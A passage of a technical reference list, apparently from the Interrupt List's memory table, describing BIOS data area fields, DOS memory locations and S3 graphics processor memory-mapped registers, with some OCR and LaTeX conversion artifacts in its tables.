--------b-M004000C0
MEM 0040h:00COh - 1988 Phoenix 386 BIOS 1.1003 - PARAMS FOR TYPE 49 HARD DISK
Size: 16 BYTEs
SeeAlso: INT 41,INT 46,MEM 0040h:00B0h"HARD DISK"
--------*-M004000C0 \(\qquad\)
MEM 0040h:00C0h - RESERVED
Size: 14 BYTEs
--------K-M004000C2
MEM 0040h:00C2h - AMI BIOS 1.00.12.AX1T - KEYBOARD TYPE
Size: WORD
Desc: this word contains an indication of the type of keyboard (controller???) attached to the system
Note: AMI's APM code checks for 4147 h vs. other value ( 5047 h seen on Intel "Plato" motherboard)
SeeAlso: \#00586,INT 16/AH=F2h
--------b-M004000CE-

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MEM 0040h:00CEh - COUNT OF DAYS SINCE LAST BOOT
Size: WORD
-------*-M004000D0
MEM 0040h:00DOh - RESERVED
Size: }32\mathrm{ BYTEs
--------S-M004000D0
MEM 0040h:00DOh - Digiboard MV/4 - LENGTH OF DATA TABLE
Size: BYTE
--------d-M004000D0
MEM 0040h:00DOh EHD floppy - INSTALLATION FLAGS
Size: BYTE
Bitfields for EHD floppy installation flags:
Bit(s) Description (Table M0051)
4 installation completed
3-0 drives 0-3
-------b-M004000D0
MEM 0040h:00DOh - AMI BIOS v1.00.12.AX1T - EPP - SCRATCH SPACE
Size: WORD
Desc: this word holds the value of BX during an EPP BIOS call
SeeAlso: MEM 0040h:00D2h"AMI",MEM 0040h:00D5h"AMI",MEM 0040h:00D6h"AMI"
SeeAlso: MEM 0040h:00DDh"AMI"
--------S-M004000D1---------------------------
MEM 0040h:00D1h - Digiboard MV/4 - PRODUCT ID
Size: BYTE
--------S-M004000D2--------------------------
MEM 0040h:00D2h - Digiboard MV/4 - BASE ADDRESS FOUND
Size: WORD
--------b-M004000D2--------------------------
MEM 0040h:00D2h - AMI BIOS v1.00.12.AX1T - EPP BASE I/O PORT
Size: WORD
--------S-M004000D4-------------------------
MEM 0040h:00D4h - Digiboard MV/4 - PORTS
Size: BYTE
--------S-M004000D5----------------------------
MEM 0040h:00D5h - Digiboard MV/4 - IRQ
Size: BYTE
--------d-M004000D5----------------------------
MEM 0040h:00D5h - EHD floppy - NUMBER OF FLOPPY DISK CONTROLLERS IN SYSTEM
Size: BYTE
--------b-M004000D5---------------------------
MEM 0040h:00D5h - AMI BIOS v1.00.12.AX1T - EPP - PARALLEL PORT 0 CAPABILITIES
Size: BYTE
SeeAlso: MEM 0040h:00D2h"AMI",MEM 0040h:00D6h"AMI",MEM 0040h:00D7h"AMI"
SeeAlso: MEM 0040h:00DCh"AMI"
--------d-M004000D6-------------------------
MEM 0040h:00D6h - EHD floppy - AND-BITS TO ADJUST PORT ADDRESS
Size: BYTE

```

Note: this byte contains FFh if controller at 03Fxh and 7Fh if at 037xh; the value is ANDed with DL prior to using IN A?,DX or OUT DX,A? instructions
--------K-M004000D6
MEM 0040h:00D6h - Digiboard MV/4 - NUMBER OF KEYBOARDS FOUND
Size: WORD
SeeAlso: MEM 0040h: 00D8h"Digiboard"
--------b-M004000D6
MEM 0040h:00D6h - AMI BIOS v1.00.12.AX1T - EPP - PARALLEL PORT 0 IRQ
Size: BYTE
SeeAlso: MEM 0040h: 00D2h"AMI ",MEM 0040h:00D5h"AMI ", MEM 0040h:00D8h"AMI"
SeeAlso: MEM 0040h:00DDh"AMI"
--------d-M004000D7
MEM 0040h:00D7h - EHD floppy - DRIVE 0 DISKETTE MEDIA STATE
Size: BYTE
Note: the value in this byte is copied into 0040h: 0090h (diskette 0 status)
SeeAlso: MEM 0040h: 00D8h"EHD",MEM 0040h:00D9h"EHD",MEM 0040h: 00DAh"EHD"
Bitfields for EHD diskette media state:
Bit(s) Description (Table M0052)
7-6 data rate: \(00=500 \mathrm{kbps}, 01=300 \mathrm{kbps}, 10=250 \mathrm{k}, 11=1 \mathrm{M} / \mathrm{S}\)
5 double stepping required (e.g. 360 kB in 1.2MB)
4 media type established
3 reserved
2-0 on exit from BIOS, contains:
000 trying 360 kB in 360 kB
001 trying 360 kB in 1.2 MB
010 trying 1.2MB in 1.2MB
011 360kB in 360kB established
100360 kB in 1.2 MB established
101 1.2MB in 1.2MB established
110 reserved (2M8?)
111 all other formats/drives
--------b-M004000D7--------------------------
MEM 0040h:00D7h - AMI BIOS v1.00.12.AX1T - EPP - PARALLEL PORT 1 CAPABILITIES
Size: BYTE
SeeAlso: MEM 0040h: 00D2h"AMI ", MEM 0040h: 00D5h"AMI ", MEM 0040h: 00D6h"AMI"
SeeAlso: MEM 0040h:00DDh"AMI"
-------M-M004000D8
MEM 0040h: 00D8h - Digiboard MV/4-NUMBER OF MICE FOUND
Size: WORD
SeeAlso: MEM 0040h: 00D6h"Digiboard", MEM 0040h: 00DAh"Digiboard"
-------d-M004000D8
MEM 0040h: 00D8h - EHD floppy - DRIVE 1 DISKETTE MEDIA STATE
Size: BYTE
SeeAlso: MEM 0040h: 00D7h"EHD",MEM 0040h:00D9h"EHD",MEM 0040h: 00DAh"EHD"
--------b-M004000D8
MEM 0040h:00D8h - AMI BIOS v1.00.12.AX1T - EPP - PARALLEL PORT 1 IRQ

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Size: BYTE
SeeAlso: MEM 0040h:00D2h"AMI",MEM 0040h:00D6h"AMI",MEM 0040h:00D7h"AMI"
SeeAlso: MEM 0040h:00DDh"AMI"
--------b-M004000D8-
MEM 0040h:00D8h U - Phoenix BIOS 4.0 Rel 6.0 - POWER MANAGEMENT FLAGS
Size: BYTE
SeeAlso: INT 15/AX=5300h
--------d-M004000D9
MEM 0040h:00D9h - EHD floppy - DRIVE 2 DISKETTE MEDIA STATE
Size: BYTE
SeeAlso: MEM 0040h:00D7h"EHD",MEM 0040h:00D8h"EHD",MEM 0040h:00DAh"EHD"
-------S-M004000DA
MEM 0040h:00DAh - Digiboard MV/4 - CURRENT PORT (used by VGA initializatn only)
Size: BYTE
SeeAlso: MEM 0040h:00D8h"Digiboard"
--------d-M004000DA
MEM 0040h:00DAh - EHD floppy - DRIVE 3 DISKETTE MEDIA STATE
Size: BYTE
SeeAlso: MEM 0040h:00D7h"EHD",MEM 0040h:00D8h"EHD",MEM 0040h:00D9h"EHD"
--------S-M004000DB
MEM 0040h:00DBh - Digiboard MV/4 - MASTER 8259 MASK (used by VGA init only)
Size: BYTE
SeeAlso: MEM 0040h:00DCh"Digiboard"
---------M-M004000DB
MEM 0040h:00DBh - EHD floppy - DRIVE O NEEDS RECALIBARATION
Size: BYTE
SeeAlso: MEM 0040h:00DCh"EHD",MEM 0040h:00DDh"EHD",MEM 0040h:00DEh"EHD"
-------S-M004000DC
MEM 0040h:00DCh - Digiboard MV/4 - SLAVE }8259\mathrm{ MASK (used by VGA init only)
Size: BYTE
SeeAlso: MEM 0040h:00DBh"Digiboard"
--------b-M004000DC--------------------------
MEM 0040h:00DCh - AMI BIOS v1.00.12.AX1T - EPP - PARALLEL PORT O MODE
Size: BYTE
SeeAlso: MEM 0040h:00D2h"AMI",MEM 0040h:00D5h"AMI",MEM 0040h:00DDh"AMI"
SeeAlso: INT 17/AX=0200h/BX=5050h
(Table M0053)
Values for AMI Enhanced Parallel Port mode:
01h compatibility mode
02h bi-directional mode
04h EPP mode
SeeAlso: \#00637
--------d-M004000DC
MEM 0040h:00DCh - EHD floppy - DRIVE 1 NEEDS RECALIBARATION
Size: BYTE
SeeAlso: MEM 0040h:00DBh"EHD",MEM 0040h:00DDh"EHD",MEM 0040h:00DEh"EHD"
--------b-M004000DC

```

MEM 0040h:00DCh - AMI BIOS v1.00.12.AX1T - EPP - PARALLEL PORT 1 MODE
Size: BYTE
SeeAlso: MEM 0040h:00D2h"AMI",MEM 0040h:00DCh"AMI",\#M0053
--------d-M004000DD
MEM 0040h:00DDh - EHD floppy - DRIVE 2 NEEDS RECALIBARATION
Size: BYTE
SeeAlso: MEM 0040h: 00DBh"EHD",MEM 0040h:00DCh"EHD",MEM 0040h:00DEh"EHD"
--------d-M004000DE
MEM 0040h:00DEh - EHD floppy - DRIVE 3 NEEDS RECALI BARATION
Size: BYTE
SeeAlso: MEM 0040h:00DBh"EHD",MEM 0040h:00DCh"EHD",MEM 0040h:00DDh"EHD"
--------b-M004000DF-
MEM 0040h:00DFh - AMI BIOS v1.00.12.AX1T - EPP - PARALLEL PORT LOCK STATE
Size: BYTE
Note: set to 01h if last request was to lock a port, 00h if last request was to unlock a port
SeeAlso: MEM 0040h:00D2h"AMI",MEM 0040h:00DCh"AMI"
--------b-M004000E0-
MEM 0040h:00EOh - AMI BIOS v1.00.12.AX1T - EPP - REAL-TIME DEVICE COUNT
Size: BYTE
Desc: contains the number of advertised real-time devices as set by EPP function 12h (see \#00632)
SeeAlso: MEM 0040h:00D2h"AMI",MEM 0040h:00DFh"AMI"
--------b-M004000E0
MEM 0040h:00EOh - Phoenix 386 BIOS - DRIVE PARAMETER TABLE FOR FIRST HARD DISK
Size: 16 BYTEs
Note: this area is used to store the driver parameter table for the first hard disk if it has been setup as the user-configurable "type 47"
--------d-M004000E3
MEM 0040h:00E3h - EHD floppy - DRIVE 0 DISKETTE TYPE (from jumpers)
Size: BYTE
SeeAlso: MEM 0040h:00E4h, MEM 0040h:00E5h"EHD",MEM 0040h:00E6h"EHD"
(Table M0054)
Values for EHD floppy diskette type:
01h undefined by diskette change (360K)
02h 1.2M
03h 720K
04h 1.44 M
05h 2.88M
--------d-M004000E4
MEM 0040h:00E4h - EHD floppy - DRIVE 1 DISKETTE TYPE (from jumpers)
Size: BYTE
SeeAlso: MEM 0040h:00E3h,MEM 0040h:00E5h"EHD",MEM 0040h:00E6h"EHD"
--------d-M004000E5
MEM 0040h:00E5h - EHD floppy - DRIVE 2 DISKETTE TYPE (from jumpers)
Size: BYTE
SeeAlso: MEM 0040h:00E3h,MEM 0040h:00E4h"EHD",MEM 0040h:00E6h"EHD"

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MEM 0040h:00E5h - AWARD v4.51PG - ASSOC DRIVE NUMBERS TO PHYSICAL INTERFACES
Size: BYTE
SeeAlso: MEM 0040h:00B5h"Gigabyte"
Bitfields for drive number/interface mapping:
Bit(s) Description (Table M0128)
7-6 interface for drive 83h (F:)
00 primary master
0 1 primary slave
10 secondary master
11 secondary slave
5-4 interface for drive 82h (as for bits 7-6)
3-2 interface for drive 81h (as for bits 7-6)
1-0 interface for drive 80h (C:) (as for bits 7-6)
SeeAlso: \#M0129
--------d-M004000E6
MEM 0040h:00E6h - EHD floppy - DRIVE 3 DISKETTE TYPE (from jumpers)
Size: BYTE
SeeAlso: MEM 0040h:00E3h,MEM 0040h:00E4h"EHD",MEM 0040h:00E5h"EHD"
--------d-M004000EA
MEM 0040h:00EAh - Omti controller - SEGMENT OF EXTENDED BIOS DATA AREA???
Size: WORD
Note: drive parameter tables stored in specified segment
--------b-M004000EC-
MEM 0040h:00ECh - Dell 4xxDE BIOS A11 - LOOP COUNT FOR DELAYS
Size: WORD
---------M004000F0
MEM 0040h:00FOh - INTRA-APPLICATION COMMUNICATION AREA
Size: }16\mathrm{ BYTEs
--------B-M00500000
------------------------
MEM 0050h:0000h - PRINT-SCREEN STATUS
Size: BYTE
-------J-M00500001
MEM 0050h:0001h - NEC PC-9800 series - SCREEN MODE
Size: BYTE
Note: if bit 3 set, the screen is in high-resolution mode (start memory at
segment E000h instead of A000h)
--------D-M00500004
MEM 0050h:0004h - MS-DOS - LOGICAL DRIVE FOR SINGLE-FLOPPY SYSTEM (A: / B:)
Size: BYTE
--------A-M0050000E
MEM 0050h:000Eh - STATE OF BREAK CHECKING AT START OF BASICA.COM EXECUTION
Size: BYTE
--------A-M0050000F
MEM 0050h:000Fh - BASICA VERSION FLAG
Size: BYTE
Note: this byte contains the value 02h if BASICA v2.10 is running

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--------A-M00500010
MEM 0050h:0010h - POINTER TO BASIC DATA SEGMENT
Size: WORD
--------A-M00500012
MEM 0050h:0012h - INT 08 VECTOR AT START OF BASICA.COM EXECUTION
Size: DWORD
--------A-M00500016-
MEM 0050h:0016h - INT 1B VECTOR AT START OF BASICA.COM EXECUTION
Size: DWORD
--------A-M0050001A
MEM 0050h:001Ah - INT 24 VECTOR AT START OF BASICA.COM EXECUTION
Size: DWORD
-------D-M00600000
MEM 0060h:0000h - DOS 2+ SCRATCH SPACE
Size: }256\mathrm{ BYTEs
Note: used during DOS 2+ boot process
--------D-M00600000
MEM 0060h:0000h - DOS 1.x IO.SYS LOAD ADDRESS
-------D-M00700000
MEM 0070h:0000h - DOS 2+IO.SYS LOAD ADDRESS
--------D-M00700100
MEM 0070h:0100h - DOS 5+ - ORIGINAL INTERRUPT VECTORS 10h,13h,15h,19h,1Bh
Size: }25\mathrm{ BYTEs
Note: each value is stored as a BYTE for the interrupt number followed by
a DWORD for the vector
these values are restored on INT 19 by recent versions of
DR/Novell/PC/MS-DOS (MS-DOS 3.x used this area to support HIMEM.SYS)
not supported by OS/2 MDOS
SeeAlso: MEM 0080h:0000h,INT 2F/AH=13
--------d-M0070016C
MEM 0070h:016Ch - DR-DOS 7.02-7.03 - "DEVNO" AUX/PRN PORT ASSIGNMENTS
Size: 2 BYTEs
016Ch BYTE PRN: assignment (0..2 for LPT1:..LPT3: (3 for LPT4:); default: 1)
016Dh BYTE AUX: assignment (0..3 for COM1:..COM4:; default: 1)
Notes: As long as the built-in AUX: or PRN: drivers are in effect, these
settings can be transparently reassigned at the DR-OpenDOS 7.02 /
DR-DOS 7.03 DOS BIOS device driver level (that is below DOS
redirection etc., but above ROM BIOS) using the undocumented
CONFIG.SYS AUX=0| 1..4 and PRN=0| 1..3|4 directive, where 1..4
specifies COM1:..COM4: or LPT1:..LPT4: and the high speed bypass 0
selects the previous hardwired equivalence of AUX: with COM1: and
PRN: with LPT1: at this level, saving a few clock cycles. The system
defaults to AUX=1 and PRN=1 (that is 0 in the internal variables).
If the high speed bypass was not enabled, the assigment can be changed
anytime later by updating these bytes, e.g. by a future issue of the
MODE utility. If the highspeed bypass has been enabled, changes have

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no effect.
The LPT4 setting (or corresponding value 3) is valid for DR-OpenDOS 7.02 and DR-DOS 7.02, but due to a bug introduced with the partial removal of the LPT4: device, it must not be used under DR-DOS 7.03.
The address 0070h: 016Ch is only valid for DR-OpenDOS 7.02 up to DR-DOS 7.03 (BDOS 73h), and will most probably change with future releases of DR-DOS!
These bytes are local for each task running.
SeeAlso: INT 21h/03h, INT 21h/04h, INT 21h/05h, MEM 0040h:0000h etc.
--------H-M00800000
MEM 0080h:0000h - 80286 CPU - LOADALL WORKSPACE
Size: 102 BYTEs
Desc: on the 80286 (unlike 80386), the state buffer from which the LOADALL instruction loads all internal registers is hardwired to physical address 000800h
Note: several versions 3.x of MS-DOS leave an empty space at offset 100h in IO.SYS (which is loaded at 0070h:0000h) so that HIMEM.SYS can use LOADALL on 80286 machines without having to save/restore the area of memory that LOADALL uses
SeeAlso: MEM 0070h:0100h
--------m-m80C00000- \(\qquad\)
MEM 80C00000h - Compaq Deskpro 386 system memory board register Size: BYTE

80C00000 R Diagnostics register (see \#M0055)
80C00000 W RAM relocation register (see \#M0056)
Bitfields for Compaq Deskpro 386 diagnostics register:
Bit(s) Description (Table M0055)
\(7 \quad=0\) memory expansion board is installed
\(6 \quad=0\) second 1 MB of system memory board is installed
5-4 base memory 00 set to 640 KB 01 invalid 10 set to 512 KB 11 set to 256 KB
3 parity correct in byte 3
2 parity correct in byte 2
1 parity correct in byte 1
0 parity correct in byte 0 (in 32-bit double word)
SeeAlso: \#M0056
Bitfields for Compaq Deskpro 386 RAM relocation register:
Bit(s) Description (Table M0056)
7-2 reserved, always write 1's.
\(1=0\) Write-protect 128-Kbyte RAM at FE0000.
\(=1\) Do not write-protect RAM at FE0000.
\(0 \quad=0\) Relocate 128-Kbyte block at FEOOOO to address 0E0000
\(=1\) 128-Kbyte RAM is addressed only at FE0000.
SeeAlso: \#M0055
----------m80C00000
MEM 80C00000h - COMPAQ DIAGNOSTICS REGISTER
Size: WORD
Note: Writing to F000h: FFEOh seems to involve unlocking the memory by writing FEFEh to this address first. The write-protection can be reestablished by writing FCFCh to this address??? This was seen done by MS HIMEM.SYS.
SeeAlso: F000h:FFEOh
Bitfields for Compaq Diagnostics Register:
Bit(s) Description (Table M0132)
15-10 unknown purpose (should remain set???)
\(9 \quad=1\) memory is read-write???
\(=0\) memory is read-only???
\(8 \quad=1\) to disable ROM replacement???
=0 normal???
7-2 unknown purpose (should remain set???)
\(1=1\) memory is read-write
\(=0\) memory is read-only
\(0 \quad=1\) to disable ROM replacement???
\(=0\) normal
Note: Writing to F000h: FFEOh seems to involve unlocking the memory by writing FEFEh to this address first. The write-protection can be reestablished by writing FCFCh to this address??? Microsoft HIMEM.SYS was seen to do this.
SeeAlso: F000h: FFEOh
--------V-MA0000000
MEM A000h:0000h - EGA + GRAPHICS BUFFER
Size: 65536 BYTEs
--------V-MA0000000---------------------------
MEM A000h:0000h - S3 - MEMORY-MAPPED GRAPHICS PROCESSOR REGISTERS
Size: 65536 BYTEs
Note: the S3 graphics processor registers can be mapped at either linear 000A0000h or at offset 16M from the start of the linear frame buffer
--------V-MA0001234-
MEM A000h: 1234h - S3 - MEMORY-MAPPED ???
Size: WORD???
Note: the Win95 driver for the Stealth64 tests various bits in this word, sometimes looping until a particular bit is set or cleared
--------V-MA0008000--------------------------
MEM A000h:8000h - S3 - MEMORY-MAPPED PCI CONFIGURATION REGISTERS
Size: 256 BYTEs
Notes: the S3 graphics processor registers can be mapped at either linear 000A0000h or at offset 16M from the start of the linear

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frame buffer
additional setup may be required to access these registers via memory
the DWORDs at 8080h, 8088h,808Ch,8090h, 8094h,8098h, 809Ch are used by
STLTH64.DRV
the DWORDs at 18080h,18088h, 18090h, 18094h, 18098h, 1809Ch are written
by S3_32.DLL
(see PORT BEE8h,\#P1047)
8148h DWORD minor axis pixel count (low word) and major axis pixel count (high word) (see PORT BEE8h, \#P1047,PORT 96E8h)
814Ch WORD (Trio64) major axis pixel count 2 (see PORT 96EAh)
8150h DWORD pixel data transfer (see PORT E2E8h,PORT E2EAh)
8154h 4 DWORDs ???
8164h DWORD ??? (written by STLTH64.DRV for Win95)
8168h DWORD (Trio64 only) Pattern Y (low word), Pattern X (high word)
(see PORT EAE8h,PORT EAEAh)
816Ch DWORD ??? (written by STLTH64.DRV for Win95)
Note: setting 8138h to 0 and 813Ch to 12345678 hay be a magic value to unlock some 53 features
SeeAlso: \#M0073,\#M0070
--------V-MA0008180
MEM A000h:8180h - S3-STREAMS PROCESSOR
Size: 128 BYTEs
Note: the S3 graphics processor registers can be mapped at either linear 000A0000h or at offset 16M from the start of the linear frame buffer
SeeAlso: MEM A000h:8100h,MEM A000h: FF00h
Format of S3 Streams Processor memory-mapped registers:
Offset Size Description (Table M0058)
8180h DWORD primary stream control (see \#M0059)
8184h DWORD chroma key control (see \#M0063)
8188h DWORD unused??? (high word seems to echo 8184h, low word 8180h)
818Ch DWORD unused??? (high word seems to echo 8184h, low word 8180h)
8190h DWORD secondary stream control (see \#M0061)
8194h DWORD chroma key upper bound (bits 23-0) (see also \#M0063)
8198h DWORD secondary stream stretch (see \#M0062)
819Ch DWORD ??? (set by S3_32.DLL)
bits 30-16: ???
bits 14-0: ???
81AOh DWORD blend control (see \#M0064)
81A4h 3 DWORDs unused??? (reads as FFFFFFFFh)
81B0h 4 DWORDs ??? (appear to be read-only)
81C0h DWORD primary frame buffer address 0 (bits 21-0, multiple of 8)
81C4h DWORD primary frame buffer address 1 (bits 21-0, multiple of 8)
81C8h DWORD primary stream stride (bits 11-0 only)
81CCh DWORD double buffer/LPB control (see \#M0065)
81D0h DWORD secondary frame buffer address 0 (bits 21-0, multiple of 8)
81D4h DWORD secondary frame buffer address 1 (bits 21-0, multiple of 8)
81D8h DWORD secondary stream stride (bits 11-0 only)
81DCh DWORD opaque overlay control (see \#M0066)
81E0h DWORD K1 -- vertical stretch (lines in) (bits 10-0 only)
set to one less than \# lines in
81E4h DWORD K2 -- vertical stretch (stretch factor) (bits 10-0 only)
set to -(\#lines_in - \#lines_out)

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\begin{tabular}{|c|c|}
\hline \multicolumn{2}{|l|}{81E8h DWORD DDA vertical accumulator (bits 11-0 only) (lines out) set to (\#lines_out) - 1} \\
\hline 81ECh & DWORD streams FIFO and RAS control (see \#M0067) \\
\hline 81FOh & DWORD primary start coordinate (see \#M0068) \\
\hline 81F4h & DWORD primary window size (see \#M0069) \\
\hline 81F8h & DWORD secondary start coordinate (see \#M0068) \\
\hline 81FCh & DWORD secondary window size (see \#M0069) \\
\hline Note: & changes to registers 81EOh-81E8h do not take effect until the next VSYNC \\
\hline \multicolumn{2}{|l|}{SeeAlso: \#M0073,\#M0057,\#M0070} \\
\hline \multicolumn{2}{|l|}{Bitfields for S3 Streams Processor primary stream control:} \\
\hline \multicolumn{2}{|l|}{Bit(s) Description (Table M005} \\
\hline 31 & reserved \\
\hline \multicolumn{2}{|l|}{30-28 filter characteristics} \\
\hline \multicolumn{2}{|r|}{000 unchanged primary stream} \\
\hline \multicolumn{2}{|r|}{001 2X stretch by replicating pixels} \\
\hline \multicolumn{2}{|r|}{010 2X stretch by interpolating horizontally (replicating vertically) else reserved} \\
\hline \multicolumn{2}{|l|}{27 reserved} \\
\hline \multicolumn{2}{|l|}{26-24 color mode (see \#M0060)} \\
\hline \multicolumn{2}{|l|}{23-0 officially reserved, but writing} \\
\hline \multicolumn{2}{|l|}{Notes: the primary stream is the output from the display RAM bits 26-24 correspond to CR67 color mode field (see \#P0688)} \\
\hline \multicolumn{2}{|l|}{SeeAlso: \#M0058,\#M0061} \\
\hline \multicolumn{2}{|l|}{(Table M0060)} \\
\hline \multicolumn{2}{|l|}{Values for S3 Streams Processor color mode:} \\
\hline \multicolumn{2}{|l|}{000b eight bits per pixel} \\
\hline \multicolumn{2}{|l|}{001b YCrCb 4:2:2 unsigned, range 10h-F0h (secondary stream only)} \\
\hline \multicolumn{2}{|l|}{010b YUV 4:2:2, range 00h-FFh (secondary stream only)} \\
\hline \multicolumn{2}{|l|}{011b keyed high-color (1-5-5-5)} \\
\hline \multicolumn{2}{|l|}{100b YUV 2:1:1 two's complement (secondary stream only)} \\
\hline \multicolumn{2}{|l|}{101b high-color (5-6-5)} \\
\hline \multicolumn{2}{|l|}{110b reserved} \\
\hline \multicolumn{2}{|l|}{111b true-color (32bpp, high byte ignored)} \\
\hline \multicolumn{2}{|l|}{SeeAlso: \#M0059, \#M0061} \\
\hline \multicolumn{2}{|l|}{Bitfields for S3 Streams Processor secondary stream control:} \\
\hline \multicolumn{2}{|l|}{Bit(s) Description (Table M0061)} \\
\hline \multicolumn{2}{|l|}{31 reserved} \\
\hline \multicolumn{2}{|l|}{30-28 filter characteristics} \\
\hline & \\
\hline \multicolumn{2}{|r|}{001 linear 0-2-4-2-0 for \(1 x-2 x\) stretch} \\
\hline \multicolumn{2}{|r|}{010 bi-linear for \(2 \mathrm{x}-4 \mathrm{x}\) stretch} \\
\hline \multicolumn{2}{|r|}{011 linear 1-2-2-2-1 for 4x+ stretch} \\
\hline & else reserved \\
\hline 28 & enable smoothing between horizontally adjacent bits (trial-and-error \\
\hline
\end{tabular}
```

27 reserved
26-24 color mode (see \#M0060,\#M0074)
23-12 reserved
11-0 initial value of DDA horizontal accumulator
set to 2*(inwidth-1)-(outwidth-1)
Notes: the secondary stream is typically live video, but can be pointed at
any part of video memory
changes to this register do not take effect until the next VSYNC
SeeAlso: \#M0058,\#M0059,\#M0062
Bitfields for S3 Streams Processor stretch/filter constants:
Bit(s) Description (Table M0062)
31-27 reserved
26-16 K2 horizontal scaling factor (input width - output width)
15-11 reserved
10-0 K1 horizontal scaling factor (input width - 1)
Note: changes to this register do not take effect until the next VSYNC
SeeAlso: \#M0061
Bitfields for S3 Streams Processor chroma-key control:
Bit(s) Description (Table M0063)
31-29 reserved
28 key control
=1 normal color-key or chroma-key
=0 (keyed RGB 1-5-5-5 mode only) extract key from high bit of input
stream; if key bit is clear, show pixel from other stream
27 reserved
26-24 color comparison precision
000 compare bit 7 of R,G, and B values only
0 0 1 ~ c o m p a r e ~ b i t s ~ 7 - 6 ~
111 compare bits 7-0
23-0 chroma-key color value
23-16 = red or Y
15-8 = green or U/Cb
7-0 = blue or V/Cr
Note: if the keyed stream is YUV or YCrCb, then this register contains the
lower bound and 8194h contains the upper bound of the chromakey
value
SeeAlso: \#M0058
Bitfields for S3 Streams Processor blend control:
Bit(s) Description (Table M0064)
31-27 reserved (unused)
26-24 blend type
0 0 0 show secondary stream (video) overlaying primary stream
0 0 1 show primary stream overlaying secondary stream
0 1 0 blend pri/sec. streams (dissolve, secondary intensity = full-prim.)

```

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```

    0 1 1 \text { blend pri/sec. streams}
    100 reserved (blank display)
    1 0 1 \text { show secondary stream only where chroma-key color present}
    110 show secondary stream (video) unconditionally
    111 reserved (blank display)
    23-14 reserved
13 ??? (officially reserved, but set by S3_32.DLL)
12-8 primary stream intensity (00h-1Ch, must be multiple of 4)
4-0 secondary stream intensity (00h-1Ch, must be multiple of 4)
(ignored for blend type 010)
Notes: for blend type 011, the primary and secondary stream intensities should
not total more than 20h to avoid wraparounds which appear as
incorrect colors; for blend type 010, the secondary stream intensity
is automatically computed as 20h - bits12-8
changes to this register do not take effect until the next VSYNC
SeeAlso: \#M0058
Bitfields for S3 Streams Processor double-buffer/LPB control:
Bit(s) Description (Table M0065)
31-7 reserved (unused; all but bit 7 appear to be read-only, as well)
L LPB frame buffer auto-toggle
if set, End-of-Frame toggles bit 4
5 delay loading LPB input buffer select until next End-of-Frame
4 LPB input buffer select (see \#M0073)
0 use LPB frame buffer address 0 (FF0Ch) for incoming video data
1 use LPB frame buffer address 1 (FF10h)
3 reserved
2-1 secondary stream buffer select
00 use frame buffer address 0 (81D0h)
0 1 use frame buffer address 1 (81D4h)
1x use frame buffer 0/1 (81D0h/81D4h) selected by bit 4 for secondary
stream and selected LPB frame buffer for LPB input
0 primary stream buffer select
=0 use frame buffer address 0 (81C0h)
=1 use frame buffer address 1 (81C4h)
SeeAlso: \#M0058,\#M0073
Bitfields for S3 Streams Processor opaque overlay control:
Bit(s) Description (Table M0066)
31 enable opaque overlay control
30 select top stream (0 = secondary on top, 1 = primary)
29 reserved
28-19 pixel resume fetch
number of quadwords from background's left edge to position at which
to start fetching pixels again
18-13 reserved
12-3 pixel stop fetch
number of quadwords from background's left edge to position at which

```
```

        to stop fetching pixels
    2-0 reserved
    SeeAlso: \#M0058
Bitfields for S3 Streams Processor streams FIFO and RAS control register:
Bit(s) Description (Table M0067)
31-22 reserved (0)
21 skip 0.5 MCLK delay of PD[63:0] output (default = 0)
20 skip memory arbitration for ROM cycles (default = 0)
19 do not tristate PD[63:16] during ROM cycles (default = 0)
(set by Win95 driver when using ISA bus)
18 EDO wait state control (LPB memory cycles only)
=0 two-cycle accesses
=1 one-cycle EDO accesses
17 reserved
16 RAS\# pre-charge control
=0 use CR68(bit3) setting (2.5/3.5 MCLKs)
=1 1.5 MCLKs
15 RAS\# low control
=0 use CR68(bit2) setting (3.5/4.5 MCLKs)
=1 2.5 MCLKs
14-10 primary stream FIFO threshold
number of filled quadword slots at which to request refilling
9-5 secondary stream FIFO threshold
number of filled quadword slots at which to request refilling
4-0 FIFO allocation, in quadword slots
00000 primary stream = 24, secondary = 0
01000 primary stream = 16, secondary = 8
0 1 1 0 0 ~ p r i m a r y ~ s t r e a m ~ = ~ 1 2 , ~ s e c o n d a r y ~ = ~ 1 2 ~
10000 primary stream = 8, secondary = 16
11000 primary stream = 0, secondary = 24
else reserved
SeeAlso: \#M0058
Bitfields for S3 Streams Processor start coordinate:
Bit(s) Description (Table M0068)
31-27 reserved (read-only)
26-16 X coordinate (column) of upper left corner, plus 1
15-11 reserved (read-only)
10-0 Y coordinate (row) of upper left corner, plus 1
SeeAlso: \#M0058,\#M0069
Bitfields for S3 Streams Processor window size:
Bit(s) Description (Table M0069)
31-27 reserved (read-only)
26-16 width in pixels - 1
15-11 reserved (read-only)
10-0 height in scan lines

```

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SeeAlso: \#M0058,\#M0068
--------V-MA0008200 \(\qquad\)
MEM A000h: 8200h - S3 ViRGE - MEMORY-MAPPED MEMORY-PORT CONTROL REGISTERS
Size: 40 BYTEs
Note: the S3 graphics processor registers can be mapped at either linear 000A0000h or at offset 16M from the start of the linear frame buffer

Format of S3 memory-maped port control registers:
Offset Size Description (Table M0070)
8200h DWORD FIFO control
8204h DWORD MIU control
8208h DWORD streams timeout
820Ch DWORD miscellaneous timeout
8210h 4 DWORDs ???
8220h DWORD DMA read base address
8224h DWORD DMA read stride width
SeeAlso: \#M0057
--------V-MA00082E8-
MEM A000h:82E8h - S3 - MEMORY-MAPPED CURRENT Y POSITION REGISTER
Size: WORD
Note: the S3 graphics processor registers can be mapped at either linear 000A0000h or at offset 16M from the start of the linear frame buffer
SeeAlso: PORT 82E8h
--------V-MA00083B0
MEM A000h:83B0h - S3 - MEMORY-MAPPED VGA REGISTERS
Size: 48 BYTEs
Note: the S3 graphics processor registers can be mapped at either linear 000A0000h or at offset 16M from the start of the linear frame buffer
SeeAlso: PORT 03B0h,PORT 03C0h,PORT 03D0h
--------V-MA0008504
---------------------------
MEM A000h: 8504h - S3 ViRGE - MEMORY-MAPPED SUBSYSTEM REGISTERS
Size: 12 BYTEs
Note: the S3 graphics processor registers can be mapped at either linear 000A0000h or at offset 16M from the start of the linear frame buffer

Format of S3 memory-mapped subsystem registers:
Offset Size Description (Table M0071)
8504h DWORD subsystem Control/Status Register (see PORT 42E8h,PORT 9AE8h)
on read:
bit 13 indicates whether graphics processor is busy bits 12-8 indicate number of free FIFO slots
8508h DWORD ???
850Ch DWORD advanced function control (see PORT 4AE8h)
SeeAlso: \#M0073,\#M0057,\#M0072
```

MEM A000h:8580h - S3 - MEMORY-MAPPED DMA REGISTERS

```
Size: 32 BYTEs
Note: the S3 graphics processor registers can be mapped at either
